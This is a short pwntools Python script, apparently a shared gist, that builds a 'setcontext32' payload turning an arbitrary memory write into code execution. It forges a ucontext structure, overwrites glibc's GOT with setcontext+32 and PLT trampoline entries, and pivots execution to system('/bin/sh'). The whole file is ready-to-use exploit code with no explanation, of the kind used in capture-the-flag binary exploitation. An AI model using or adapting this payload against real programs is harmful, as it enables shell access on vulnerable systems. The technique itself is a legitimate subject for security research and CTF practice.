setcontext32 payload to turn arbitrary write to RCE

setcontext32.py

# from https://hackmd.io/@pepsipu/SyqPbk94a
from pwn import *

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )


if __name__ == "__main__":
    libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6", checksec=False)
    dest, payload = setcontext32(
        libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
    )
    print(f"addr: {hex(dest)} len: {len(payload)} payload: {payload.hex()}")